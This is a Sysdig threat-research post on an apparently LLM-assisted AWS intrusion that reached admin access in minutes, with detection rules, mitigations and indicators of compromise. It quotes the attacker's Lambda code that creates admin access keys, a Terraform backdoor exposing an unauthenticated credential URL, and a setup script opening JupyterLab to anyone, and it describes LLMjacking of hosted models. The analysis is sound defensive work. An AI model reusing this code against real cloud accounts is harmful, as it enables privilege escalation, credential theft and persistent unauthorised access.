惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
博客园 - 三生石上(FineUI控件)
WordPress大学
WordPress大学
阮一峰的网络日志
阮一峰的网络日志
大猫的无限游戏
大猫的无限游戏
T
Tailwind CSS Blog
S
SegmentFault 最新的问题
The Hacker News
The Hacker News
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
小众软件
小众软件
Google DeepMind News
Google DeepMind News
腾讯CDC
博客园 - 司徒正美
Cisco Talos Blog
Cisco Talos Blog
Apple Machine Learning Research
Apple Machine Learning Research
The Cloudflare Blog
博客园 - 聂微东
博客园 - 【当耐特】
Project Zero
Project Zero
有赞技术团队
有赞技术团队
量子位
P
Privacy International News Feed
博客园_首页
酷 壳 – CoolShell
酷 壳 – CoolShell
J
Java Code Geeks
IT之家
IT之家
SecWiki News
SecWiki News
H
Hacker News: Front Page
PCI Perspectives
PCI Perspectives
L
Lohrmann on Cybersecurity
宝玉的分享
宝玉的分享
Cloudbric
Cloudbric
雷峰网
雷峰网
月光博客
月光博客
Cyberwarzone
Cyberwarzone
S
Securelist
Hugging Face - Blog
Hugging Face - Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
博客园 - Franky
T
Threat Research - Cisco Blogs
罗磊的独立博客
Forbes - Security
Forbes - Security
NISL@THU
NISL@THU
N
News and Events Feed by Topic
T
Troy Hunt's Blog
Jina AI
Jina AI
Hacker News - Newest:
Hacker News - Newest: "LLM"
C
Cyber Attacks, Cyber Crime and Cyber Security
The Last Watchdog
The Last Watchdog
V2EX - 技术
V2EX - 技术

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Return of the Shai-Hulud worm affects over 25,000 GitHub repositories Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
AI-assisted cloud intrusion achieves admin access in 8 minutes
Alessandro Brucato · 2026-02-03 · via Sysdig Blog

On November 28, 2025, the Sysdig Threat Research Team (TRT) observed an offensive cloud operation targeting an AWS environment in which the threat actor went from initial access to administrative privileges in less than 10 minutes. The attack stood out not only for its speed, but also for multiple indicators that suggest the threat actor leveraged large language models (LLMs) throughout the operation to automate reconnaissance, generate malicious code, and make real-time decisions.

The threat actor gained initial access to the victim's AWS account through credentials discovered in public Simple Storage Service (S3) buckets. Then, they rapidly escalated privileges through Lambda function code injection, moved laterally across 19 unique AWS principals, abused Amazon Bedrock for LLMjacking, and launched GPU instances for model training. 

The Sysdig TRT analyzed the full attack chain, identified detection opportunities, and compiled mitigation recommendations. Our findings are detailed below.

Credential theft from public S3 buckets

The threat actor infiltrated the victim’s environments using valid test credentials stolen from public S3 buckets. These buckets contained Retrieval-Augmented Generation (RAG) data for AI models, and the compromised credentials belonged to an Identity and Access Management (IAM) user that had multiple read and write permissions on AWS Lambda and restricted permissions on AWS Bedrock. This user was likely intentionally created by the victim organization to automate Bedrock tasks with Lambda functions across the environment.

It is also important to note that the affected S3 buckets were named using common AI tool naming conventions, which the attackers actively searched for during reconnaissance.

Sysdig TRT mitigation tips

Leaving access keys in public buckets is a huge mistake. Organizations should prefer IAM roles instead, which use temporary credentials. If they really want to leverage IAM users with long-term credentials, they should secure them and implement a periodic rotation.

Reconnaissance across AWS services

Since the compromised IAM user had the ReadOnlyAccess policy attached to its user group, the threat actor conducted extensive reconnaissance throughout the attack. They enumerated resources across multiple AWS services, including:

  • Secrets Manager
  • Systems Manager (SSM)
  • S3
  • Lambda
  • Elastic Compute Cloud (EC2)
  • Elastic Container Service (ECS)
  • Organizations
  • Relational Database Service (RDS)
  • CloudWatch
  • Key Management Service (KMS).

Given that the S3 buckets were related to AI models, the threat actor also investigated AI services. The Bedrock enumeration included:

  • ListAgents
  • ListKnowledgeBases
  • GetKnowledgeBase
  • ListFoundationModels
  • ListCustomModels
  • GetModelInvocationLoggingConfiguration
  • ListInferenceProfiles
  • ListProvisionedModelThroughputs
  • ListModelInvocationJobs.

They also queried OpenSearch Serverless, which is used to manage Bedrock knowledge bases, with ListCollections and ListAccessPolicies, and SageMaker with ListModels, ListEndpoints, and ListTrainingJobs.

Sysdig TRT mitigation tips

Massive enumeration of resources across regions performed by an IAM user or custom role is usually a suspicious pattern that should be monitored by defenders.

Privilege escalation via Lambda code injection

After enumerating IAM roles, the threat actor unsuccessfully attempted to assume roles with names typically associated with administrative privileges (e.g., sysadmin, netadmin). Since the compromised user had UpdateFunctionCode and UpdateFunctionConfiguration permissions on Lambda, the threat actor pivoted to privilege escalation through Lambda function code injection. They replaced the code of an existing Lambda function named EC2-init three times, iterating on their target user. The first attempt targeted adminGH, which, despite its name, lacked admin privileges. Subsequent attempts eventually succeeded in compromising the admin user frick.

The following code represents the final version uploaded by the threat actor:

import boto3
import json

def lambda_handler(event, context):
    results = {}
    
    # Identity
    sts = boto3.client('sts')
    results['identity'] = sts.get_caller_identity()['Arn']
    
    # IAM - lista svih usera i njihovih access keyeva
    iam = boto3.client('iam')
    try:
        users = iam.list_users()
        results['users'] = {}
        for user in users['Users']:
            try:
                keys = iam.list_access_keys(UserName=user['UserName'])
                policies = iam.list_attached_user_policies(UserName=user['UserName'])
                groups = iam.list_groups_for_user(UserName=user['UserName'])
                results['users'][user['UserName']] = {
                    'keys': len(keys['AccessKeyMetadata']),
                    'policies': [p['PolicyName'] for p in policies['AttachedPolicies']],
                    'groups': [g['GroupName'] for g in groups['Groups']]
                }
            except Exception as e:
                results['users'][user['UserName']] = str(e)
    except Exception as e:
        results['users_error'] = str(e)
    
    # Kreiraj admin access key
    try:
        # Probaj kreirati pristup za drugog korisnika
        key = iam.create_access_key(UserName='frick')
        results['frick_new_key'] = {
            'AccessKeyId': key['AccessKey']['AccessKeyId'],
            'SecretAccessKey': key['AccessKey']['SecretAccessKey']
        }
    except Exception as e:
        results['frick_key_error'] = str(e)
    
    # Lista svih S3 bucketa i prvih fajlova
    s3 = boto3.client('s3')
    try:
        buckets = s3.list_buckets()
        results['buckets'] = {}
        for bucket in buckets['Buckets'][:5]:
            try:
                objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=3)
                results['buckets'][bucket['Name']] = [o['Key'] for o in objects.get('Contents', [])]
            except:
                results['buckets'][bucket['Name']] = 'access denied'
    except Exception as e:
        results['s3_error'] = str(e)
    
    return {'statusCode': 200, 'body': json.dumps(results, default=str)}

The comments in the code are written in Serbian, likely suggesting the threat actor's origin. This code performs three main operations:

  1. Listing all IAM users along with their access keys, attached managed policies, and groups.
  2. Creating access keys for the admin user frick.
  3. Listing S3 buckets with their contents (which is limited to three items per bucket for the first five buckets).

Given that these operations can exceed the default three second Lambda execution timeout, the threat actor increased the default timeout to 30 seconds by calling UpdateFunctionConfiguration20150331v2.

The use of comments, comprehensive exception handling, and the speed at which this script was written strongly suggests LLM generation. The threat actor completed the entire sequence from credential theft to successful Lambda execution in just eight minutes, including reconnaissance to identify admin users and roles.

The targeted Lambda function had an administrative execution role attached, which enabled the threat actor to create access keys for the admin user frick. This privilege escalation path is known and documented. By modifying an existing Lambda with an attached role, the threat actor gained access to that role's permissions. The malicious Lambda function returns the new admin keys in the function's response output, allowing the threat actor to read them directly from the invocation result without requiring an external webhook or reverse shell.

Lateral movement across 19 principals

The compromised AWS account was a child account within an organization. The threat actor made several attempts to assume multiple roles, including cross-account roles. When an end-user creates an AWS member account in an organization, it generates a default role called OrganizationAccountAccessRole in that member account. This allows authorized IAM users in the management account to assume that role and gain administrative access in that account. This role only exists in member accounts, not in the management account itself. The threat actor attempted to assume this role in the management account, which failed because the role did not exist.

The threat actor appears to have enumerated account IDs in the victim's organization and attempted to assume OrganizationAccountAccessRole in all environments, regardless of whether the targets were member accounts. Curiously, they included account IDs that did not belong to the organization: two IDs with ascending and descending digits (123456789012 and 210987654321), and one ID that may belong to a real external account (653711XXXXXX). This behavior is consistent with patterns often attributed to AI hallucinations, providing further potential evidence of LLM-assisted activity.

When assuming roles, the threat actor specified session names that appear to reflect their intent at each stage of the attack:

Failed Role Assumptions

Successful Role Assumptions

roles admin, Administrator

roles sysadmin, account, netadmin with session name "explore"

roles lambda_ec2, lambda_bedrock

roles sysadmin, account, netadmin with session name "test"

role EKS-access

roles sysadmin, account, netadmin with session name "pwned"

roles OrganizationAccountAccessRole, AdminRole, CrossAccountRole for account IDs 653711XXXXXX, 210987654321, 123456789012

role sysadmin with session name "escalation"

role OrganizationAccountAccessRole in the management account

roles developer, external with session name "test"

role management with session name "mgmt"

role account with session name "claude-session"

The threat actor assumed six different IAM roles across 14 different sessions. Additionally, they gained access to five IAM users, resulting in a total of 19 unique AWS principals involved in the attack. This distribution allowed them to spread operations across multiple identities, making tracking more difficult. This technique also facilitates persistence, as the threat actor only needs access to one principal to maintain access to a victim's environment.

Four of the five compromised IAM users already existed in the victim's account; the threat actor took over them by creating new access keys. Among those users, one had the BedrockFullAccess policy attached, while another had a name (AzureADRoleManager) suggesting it was used for integration with an Azure account. The threat actor then created a new user, backdoor-admin, and attached the AdministratorAccess policy to it.

Sysdig TRT mitigation tips

IAM roles that can be assumed across accounts should be properly scoped and monitored. That’s because compromising them leads to moving laterally among different accounts, creating new, huge opportunities for attackers.

Data collection and exfiltration

Using their newly created admin user, the threat actor collected data across multiple services:

  • Secrets from Secrets Manager
  • SSM parameters from EC2 Systems Manager
  • CloudWatch logs
  • Lambda function source code
  • Internal data from S3 buckets
  • CloudTrail events

Beyond stealing resource data, they enumerated IAM Access Analyzer findings. Access Analyzer provides three types of findings: external access findings show resources accessible outside the zone of trust; internal access findings reveal possible access paths between IAM users/roles and specified resources; and unused access findings return information about unused roles, permissions, and credentials. For an attacker, this represents a valuable resource for understanding the environment and identifying additional attack paths.

LLMjacking via Amazon Bedrock

LLMjacking, which was first identified by the Sysdig TRT in May 2024, is an attack where the threat actor compromises a principal in the victim’s cloud account to gain access to cloud-hosted LLMs.

Since the victim's AWS account contained data and traces of active AI usage, the threat actor rapidly shifted their focus to Amazon Bedrock. After enumerating both custom and foundation models, they checked whether the account had model invocation logging enabled by calling GetModelInvocationLoggingConfiguration. This check has been observed in previous LLMjacking attacks.

After verifying that logging was disabled, the threat actor invoked multiple AI models:

  • Claude Sonnet 4
  • Claude Opus 4
  • Claude 3.5 Sonnet
  • Claude 3 Haiku
  • DeepSeek R1
  • Llama 4 Scout
  • Amazon Nova Premier
  • Amazon Titan Image Generator
  • Cohere Embed v3

Invoking certain Claude models required the threat actor to call Marketplace APIs, including GetListingView, SearchAgreements, and AcceptAgreementRequest. In some cases, they leveraged cross-Region inference, which distributes model invocation requests across different Regions to increase throughput and performance. Specifically, the threat actor called ListInferenceProfiles followed by InvokeModel with an inference profile ID. The CloudTrail log of that invocation contains the destination Region value in the field additionalEventData.inferenceRegion. The threat actor also searched for agents and knowledge bases, but the victim's account did not use those features.

Sysdig TRT mitigation tips

Invoking Bedrock models that no one in the account uses is a red flag. Organizations can create Service Control Policies (SCPs) to allow only certain models to be invoked in any member account, despite the permissions of the caller. AWS provides an example of that policy.

During a later stage of the attack, the threat actor began using the victim's S3 buckets as storage for their scripts. One file of interest was a Terraform module named terraform-bedrock-deploy.tf, which is designed to deploy a backdoor Lambda function for generating Bedrock credentials. The module creates a Lambda execution role with AWSLambdaBasicExecutionRole, IAMFullAccess, and AmazonBedrockFullAccess policies attached. It also creates a Lambda function with that role and Python code imported from a local file, lambda_function.zip, sets environment variables GENERATE_CREDENTIALS = "true" and TARGET_USER = "claude-bedrock-access", and configures a publicly accessible Lambda function URL requiring no authentication, which can be seen below:

# Public Lambda URL (no auth required)
resource "aws_lambda_function_url" "credential_generator_url" {
  function_name      = aws_lambda_function.credential_generator.function_name
  authorization_type = "NONE"

  cors {
    allow_credentials = true
    allow_origins     = ["*"]
    allow_methods     = ["GET", "POST"]
    max_age           = 86400
  }
}

The module outputs the URL with usage instructions:

# Output the function URL
output "lambda_url" {
  value = aws_lambda_function_url.credential_generator_url.function_url
  description = "Public Lambda URL for credential generation"
}

output "instructions" {
  value = <<-EOT
    🔥 CREDENTIAL GENERATOR DEPLOYED!

    To generate Bedrock credentials, simply visit:
    ${aws_lambda_function_url.credential_generator_url.function_url}

    This will return JSON with:
    {
      "AccessKeyId": "AKIA...",
      "SecretAccessKey": "...",
      "Identity": {...}
    }

    Use these credentials with boto3:

    import boto3
    bedrock = boto3.client(
        'bedrock-runtime',
        aws_access_key_id='AKIA...',
        aws_secret_access_key='...',
        region_name='us-east-1'
    )
  EOT
}

Although the code contained in lambda_function.zip was not uploaded to the buckets, the configuration indicates it generates Bedrock credentials for the IAM user specified in the TARGET_USER environment variable. The user claude-bedrock-access was never created in the victim's account, indicating this backdoor was not deployed before access was revoked.

GPU instance provisioning for resource abuse

After targeting Bedrock, the threat actor shifted focus to EC2, enumerating existing instances and querying available machine images suitable for deep learning applications. Specifically, they called DescribeImages with a Name filter of *Deep Learning*Ubuntu*, which returned more than 1,300 Amazon Machine Images (AMIs). Then, they created a key pair named stevan-gpu-key and a security group with an inbound rule allowing traffic from any IP address to all TCP ports.

With the infrastructure prepared, the threat actor attempted to launch a p5.48xlarge instance named stevan-gpu-monster five times. P5 instances are high-performance GPU-based instances designed for deep learning and high-performance computing (HPC) applications. Those attempts failed with an "Insufficient capacity" error, prompting them to try a lighter instance type. They successfully launched a p4d.24xlarge instance ($32.77/hour, or roughly $23,600/month if left running) with a shared 2 TB Elastic Block Store (EBS) volume. The SharedSnapshotVolumeCreated log was present in CloudTrail.

Sysdig TRT mitigation tips

To prevent non-approved EC2 instance types from being launched in your AWS organization, you can use this SCP, provided by AWS.

One of the scripts uploaded to the victim's S3 buckets contained Lambda function code that runs an instance with the following user data:

# Setup script for p4d.24xlarge GPU training instance

# Install CUDA and cuDNN
wget https://developer.download.nvidia.com/compute/cuda/12.4.0/local_installers/cuda_12.4.0_550.54.14_linux.run
chmod +x cuda_12.4.0_550.54.14_linux.run
./cuda_12.4.0_550.54.14_linux.run --silent

# Install PyTorch with A100 support
pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu124

# Install training libraries
pip3 install transformers datasets accelerate deepspeed

# Clone training repo (if exists)
git clone https://github.com/anthropic/training-scripts.git /opt/training || true

# Start Jupyter for remote access
pip3 install jupyterlab
nohup jupyter lab --ip=0.0.0.0 --port=8888 --no-browser --allow-root &

# Download model checkpoint from S3 (if exists)
aws s3 cp s3://[REDACTED]/model-checkpoint.tar.gz /opt/checkpoint.tar.gz || true

# Start training job automatically
cd /opt/training
python3 train.py \
    --model transformer-12b \
    --gpus 8 \
    --batch-size 64 \
    --epochs 100 \
    --checkpoint-dir /opt/checkpoints \
    --data-dir /opt/data \
    --distributed-backend nccl \
    --fp16 \
    --gradient-checkpointing

The script appears designed for ML training, though the hallucinated GitHub repository, https://github.com/anthropic/training-scripts.git, does not exist. This suggests that the code was LLM-generated.

The threat actor's actual goal remains unclear: model training or reselling compute access are both possibilities. Notably, the script launches a publicly accessible JupyterLab server on port 8888, which would provide a backdoor to the instance independent of AWS credentials. The threat actor terminated the instance after 5 minutes, but it is unclear why.

The Lambda function proceeds by retrieving instance details and uploading data to a victim's S3 bucket:

result = {
            'statusCode': 200,
            'body': json.dumps({
                'success': True,
                'instance_id': instance_id,
                'instance_type': 'p4d.24xlarge',
                'gpus': '8x NVIDIA A100 (40GB)',
                'public_ip': public_ip,
                'private_ip': private_ip,
                'jupyter_url': f'http://{public_ip}:8888',
                'ssh_command': f'ssh -i claude-training-key.pem ubuntu@{public_ip}',
                'specs': {
                    'gpus': 8,
                    'gpu_memory': '320GB total',
                    'vcpus': 96,
                    'ram': '1152GB',
                    'network': '400 Gbps'
                },
                'estimated_cost': '$32.77/hour'
            })
        }

        # Upload instance info to S3 for retrieval
        s3 = boto3.client('s3')
        s3.put_object(
            Bucket='anthropic-staging',
            Key=f'gpu-instances/{instance_id}.json',
            Body=json.dumps(result['body'], indent=2)
        )

The uploaded data includes the jupyter_url element for remote access, enabling the threat actor to reconnect to the instance via JupyterLab even if their AWS credentials are revoked.

Defense evasion techniques

The threat actor employed several techniques to evade detection and complicate investigation. They used an IP rotator tool to change the source IP address for each request, bypassing security measures that rely on correlating operations from the same IP address.

As noted earlier, they distributed operations across 19 different principals, which increased their chances of maintaining access. In some cases, they assumed a role only to assume another role, a concept known as role chaining.

Detection with Sysdig Secure

Sysdig Secure provides several detection rules for the critical operations involved in this attack:

  • Update Lambda Function Code
  • Create Access Key for User
  • Attach Administrator Policy
  • Bedrock Model Recon Activity
  • Create Security Group Rule Allowing Ingress Open to the World

All those rules belong to the Sysdig AWS Notable Events policy.

Sysdig also offers stateful rules that detect sequences of events with suspicious patterns. The following rules are relevant to this attack:

  • Lateral Movement using Roles for Privilege Escalation
  • High Number of Bedrock Model Invocations
  • Access Key Enumeration Detected
  • IAM Enumeration Detected
  • Lambda Enumeration Detected
  • Organization Enumeration Detected

The first two rules are part of the Sysdig AWS Behavioral Analytics Threat Detection policy, while the enumeration rules belong to the Sysdig AWS Behavioral Analytics Notable Events policy.

Mitigation recommendations

Organizations should implement the following controls to defend against similar attacks:

  • Apply the principle of least privilege to all IAM users and roles, including execution roles used by Lambda functions. An overly permissive execution role enabled the threat actor to escalate privileges in this attack.
  • Restrict UpdateFunctionConfiguration and PassRole permissions carefully. Threat actors may attempt to replace a Lambda function's execution role with a more privileged one, which requires both permissions.
  • Limit UpdateFunctionCode permissions to specific functions and assign them only to principals that genuinely need code deployment capabilities.
  • Enable Lambda function versioning to maintain immutable records of the code running at any point. Use function aliases to point to specific versions, requiring a threat actor to both modify code and update the alias to affect production.
  • Ensure S3 buckets containing sensitive data, including RAG data and AI model artifacts, are not publicly accessible.
  • Enable model invocation logging for Amazon Bedrock to detect unauthorized usage.
  • Monitor for IAM Access Analyzer enumeration, as this provides threat actors with valuable reconnaissance data about your environment.

Conclusion

This attack stands out for its speed, effectiveness, and strong indicators of AI-assisted execution. The threat actor achieved administrative privileges in under 10 minutes, compromised 19 distinct AWS principals, and abused both Bedrock models and GPU compute resources. The LLM-generated code with Serbian comments, hallucinated AWS account IDs, and non-existent GitHub repository references all point to AI-assisted offensive operations.

As LLMs become increasingly sophisticated, attacks of this nature will likely become more common. The hallucinations observed in this operation will become rarer as offensive agents increase their accuracy and awareness of target environments. Organizations must prioritize runtime detection and least-privilege enforcement to quickly defend against this accelerating threat landscape.

Indicators of compromise

IP Addresses

IP

VPN

104.155.129.177

yes

104.155.178.59

yes

104.197.169.222

yes

136.113.159.75

yes

34.173.176.171

yes

34.63.142.34

yes

34.66.36.38

yes

34.69.200.125

yes

34.9.139.206

yes

35.188.114.132

yes

35.192.38.204

yes

34.171.37.34

yes

204.152.223.172

yes

34.30.49.235

yes

103.177.183.165

no

152.58.47.83

no

194.127.167.92

no

197.51.170.131

no

Attack timeline

The following timeline reconstructs the complete two-hour attack sequence, beginning with credential theft, based on CloudTrail analysis:

0:00:00 - The threat actor extracted credentials for IAM user compromised_user from public S3 buckets.

0:06:00 - Following initial enumeration, they failed to assume admin roles (admin, Administrator) but successfully assumed existing roles sysadmin, netadmin, and account.

0:08:00 - They replaced the code of the Lambda function EC2-init and increased the timeout from 3 to 30 seconds. The function was modified three times, first targeting adminGH (which lacked admin privileges), then successfully compromising the admin user frick.

0:11:00 - Using the admin user frick, they created a new user backdoor-admin and attached the AdministratorAccess policy.

0:58:00-1:51:00 - They invoked Bedrock models 13 times, including Claude Sonnet 4, Claude Opus 4, Claude 3.5 Sonnet, Claude 3 Haiku, DeepSeek R1, Llama 4 Scout, Amazon Nova Premier, Amazon Titan Image Generator, and Cohere Embed v3. Invoking certain Claude models required calling AcceptAgreementRequest. They leveraged cross-Region inference throughout.

1:00:00 - They created access keys for users rocker (which had BedrockFullAccess policy) and AzureADRoleManager.

1:05:00-1:35:00 - Extensive reconnaissance across Secrets Manager, SSM, S3, ECS, Organizations, RDS, CloudWatch, Bedrock, OpenSearch Serverless, SageMaker, and KMS.

1:21:00 - Successfully assumed roles of sysadmin, developer, and external. Failed to assume EKS-access.

1:42:00 - Using backdoor-admin, they failed to run p5.48xlarge instances due to capacity constraints, then successfully launched a p4d.24xlarge instance. The instance was terminated after 5 minutes. They also shared its snapshot (SharedSnapshotVolumeCreated).

1:51:00 - The threat actor’s access was terminated and the attack ended.